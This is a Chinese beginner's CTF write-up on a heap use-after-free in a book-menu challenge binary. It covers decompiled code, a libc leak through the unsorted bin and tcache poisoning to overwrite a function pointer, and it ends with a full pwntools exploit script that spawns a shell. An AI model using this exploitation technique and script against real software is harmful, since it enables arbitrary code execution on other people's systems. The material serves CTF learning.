首页 > 其他分享 >ctfpwn-堆入门之uaf(新手向)

ctfpwn-堆入门之uaf(新手向)

时间:2023-06-15 16:45:00浏览次数:39  
标签:v1 magic 堆块 int hook ctfpwn book 新手 uaf

例题:

程序保护全开,ida打开

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    switch ( (unsigned int)read_int() )
    {
      case 1u:
        new_book();
        break;
      case 2u:
        edit_book();
        break;
      case 3u:
        delete_book();
        break;
      case 4u:
        show_book();
        break;
      case 5u:
        return 0;
      case 0x11u:
        magic_book();
        break;
      default:
        continue;
    }
  }
}

可以看到是一个标准的堆的菜单题

new_book函数可以申请任意大小的堆块,并且把堆块大小存到books_size数组中,books_size是bss段的全局变量,并且把malloc_hook,free_hook置0

__int64 new_book()
{
  int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  puts("book size:");
  v2 = read_int();
  for ( i = 0; i <= 4; ++i )
  {
    if ( !books[i] )
    {
      books[i] = malloc(v2);
      books_size[i] = v2;
      printf("You got new book at index %d\n", (unsigned int)i);
      break;
    }
  }
  _malloc_hook = 0LL;
  _free_hook = 0LL;
  return 0LL;
}

edit_book函数可以向指定堆块读入不超过这个堆块大小的数据,没有溢出。并且也把malloc_hook,free_hook置0

__int64 edit_book()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Book index:");
  v1 = read_int();
  if ( v1 > 4 )
  {
    puts("Wrong index!");
  }
  else if ( books[v1] )
  {
    puts("Provide book content:");
    read(0, (void *)books[v1], (int)books_size[v1]);
  }
  _malloc_hook = 0LL;
  _free_hook = 0LL;
  return 0LL;
}

delete_book函数存在uaf漏洞,同样把malloc_hook,free_hook置0

__int64 delete_book()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Book index:");
  v1 = read_int();
  if ( v1 > 4 )
  {
    puts("Invalid index!");
  }
  else if ( books[v1] )
  {
    free((void *)books[v1]);                    // uaf
    puts("Successfully deleted!");
  }
  else
  {
    puts("Already deleted!");
  }
  _malloc_hook = 0LL;
  _free_hook = 0LL;
  return 0LL;
}

show_book函数可以打印堆块中的数据

int show_book()
{
  __int64 v0; // rax
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  puts("Book index:");
  v2 = read_int();
  if ( v2 > 4 )
  {
    puts("Invalid index!");
    LODWORD(v0) = 0;
  }
  else
  {
    v0 = books[v2];
    if ( v0 )
      LODWORD(v0) = printf("OUTPUT: %s\n", (const char *)books[v2]);
  }
  return v0;
}

magic_book函数有一个magic_library函数,这个函数存放着一个指向bss段的指针

__int64 magic_book()
{
  return magic_library();
}

按tab键可以查看汇编代码

public magic_book
magic_book proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     rax, cs:magic_library
jmp     rax
magic_book endp

可以看到这个函数跳转到bss段指针指向的位置

 思路:程序存在uaf漏洞,并且每次申请,编辑,释放堆块后将malloc_hook,free_hook置0。题目给了libc版本为2.27。所以可以先申请一个大堆块,一个小堆块,一个任意大小的堆块(防止与top chunk合并),再将大堆块释放进入unsorted bin中,这个堆块的fd和bk就被写入了与main_arena有固定偏移的地址,由于存在uaf漏洞,申请堆块的指针没有被清除,所以仍然可读可写,所以可以利用上述的unsorted bin的特性来泄露libc,然后再用一次uaf先释放第二个堆块,将magic_library写到第二个堆块中,再连续申请两个与这个堆块同样大小的堆块,就会从tcache bin中将magic_library申请出来,然后就可以读写magic_library指针所指向的内存了,利用magic_book的特性,将根据前面泄露的libc计算出的one_gadget写入到magic_library所指向的内存,然后再调用magic_hook即可。

exp:

from pwn import *
p=process('./pwn')
libc=ELF('./libc-2.27.so')

def menu():
        p.recvuntil(b'>> ')
def add(size):
        menu()
        p.sendline(b'1')
        p.recvuntil(b'book size:\n')
        p.sendline(str(size))
def edit(idx,con):
        menu()
        p.sendline(b'2')
        p.recvuntil(b'Book index:\n')
        p.sendline(str(idx))
        p.recvuntil(b'Provide book content:')
        p.sendline(con)
def show(idx):
        menu()
        p.sendline(b'4')
        p.recvuntil(b'index:')
        p.sendline(str(idx))
def free(idx):
        menu()
        p.sendline(b'3')
        p.recvuntil('Book index:\n')
        p.sendline(str(idx))
add(0x500)
add(0x80)
add(0x500)
free(0)
show(0)
p.recvuntil(b'OUTPUT:')
base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-4111520
one_gadget=base+0x4f2a5
print(hex(base))
free(1)
edit(1,p64(0x602110))
add(0x80)
add(0x80)
edit(4,p64(one_gadget))
p.sendline(b'17')
p.interactive()

标签:v1,magic,堆块,int,hook,ctfpwn,book,新手,uaf
From: https://www.cnblogs.com/r136a1/p/17483327.html

相关文章

  • 武汉星起航:新手卖家的新机遇!亚马逊跨境电商引领未来发展
    随着互联网的迅猛发展,跨境电商已经成为全球贸易的重要组成部分。作为跨境电商领域的巨头,亚马逊为新手卖家提供了一个独特的机遇,武汉星起航将与大家一起探索新手卖家在亚马逊跨境电商中的优势和发展前景。低门槛的进入机会亚马逊跨境电商相比传统贸易有着更低的进入门槛,这对新手卖家......
  • 武汉星起航:新手卖家入局亚马逊,选择FBM的优势在哪里
    在亚马逊平台上,卖家可以选择将自己的产品通过亚马逊配送(FBA)或自己进行配送(FBM)。下面是武汉星起航整理的选择FBM模式的优势:成本控制:选择FBM模式可以更好地控制成本。在FBA模式下,卖家需要支付仓储和配送费用,但在FBM模式下,卖家可以自行管理库存和配送,减少了与亚马逊的费用相关。库存管......
  • 记录一次新手渗透的过程
    这是严格意义上的第一次动手实操,相对于无限的理论学习与记忆,我个人是觉得让我动手操作一次让我的收获更大。目标靶机:http://testphp.vulnweb.com/工具使用:KaliLinux参考文档:   【渗透测试】渗透测试最强秘籍(Part1:信息收集)–绿盟科技技术博客(nsfocus.net)明确目标之......
  • 武汉星起航深耕跨境电商市场,致力于带领新手卖家进入海外市场
    武汉星起航电子商务有限公司(以下简称“星起航”)是一家经验丰富的跨境电商企业,以其卓越的业绩和专业的服务而闻名于业内。自2020年起,星起航致力于帮助国内新手卖家进入海外市场,并成为了一家颇具规模的跨境电商孵化服务商。作为亚马逊跨境电商的专家,星起航已成功在亚马逊多个站点开设......
  • 武汉星起航深耕跨境市场多年,致力于带领新手卖家进入海外市场
    武汉星起航电子商务有限公司(以下简称“星起航”)是一家专业的跨境电商孵化服务商,致力于帮助国内新手卖家顺利进入海外市场并取得成功。多年来,星起航凭借其卓越的实力和专业服务,赢得了业内的认可和良好口碑。星起航成立于2020年,在跨境电商市场中迅速崭露头角。他们深入研究和了解各大......
  • 武汉星起航致力于带领国内新手卖家进入海外市场
    武汉星起航电子商务有限公司(以下简称“星起航”)是一家专业的跨境电商孵化服务商,专注于为国内新手卖家提供全方位的支持,帮助他们进入亚马逊跨境电商市场并取得成功。自2017年进入跨境电商领域以来,星起航不断探索和创新,已经建立起令人瞩目的业绩和声誉。作为跨境电商孵化服务商,星起航......
  • 2023-06-07 搭建后端开发环境(新手篇)
    本文主要使用wampserver来搭建后端windows开发环境。wamp下载地址:https://sourceforge.net/projects/wampserver/files/WampServer%203/WampServer%203.0.0/注意:该wamp版本需要使用win7以上机器开发。我现在下载的是3.3.0版本的wamp,下载完后无脑next就行了,他会直接帮你装好一下......
  • 新手小白知识 | 服务器用什么防御?怎么做服务器防护?
    在这个互联网时代,我们经常遇到网站无法访问等一些现象,众所周知,服务器对于企业来讲是必不可少的资源,服务器关系整个公司的网络以及数据,那么服务器的防护就更加的重要,随着网络技术发展不断扩大,各种各样的bingdu以及服务器安全等问题日益突出,在这个时候我们就需要保护我们服务器的安......
  • 关于建立一个Java项目全过程(专对于新手)
    关于建立一个Java项目全过程一、Java开发环境搭建1.JDK与JREJDK=JRE+开发工具集(例如Javac编译工具等)JRE=JVM+JavaSE标准类库2.JDK的下载下载网址(Oracle公司官网):www.oracle.com这里链接具体下载网址:https://www.oracle.com/java/technologies/downloads/复制链接......
  • 高级程序员和新手小白程序员区别你是那个等级看解决bug速度
    IT入门深似海,程序员行业,我觉得是最难做的。加不完的班,熬不完的夜。和产品经理,扯不清,理还乱的宿命关系一直都在新需求-做项目-解决问题-解决bug-新需求好像一直都是这么一个循环。(哈哈哈)我觉得一个好的程序员,判断根本取决于,遇到生产问题和bug,解决的问题的思路,和解决问题时......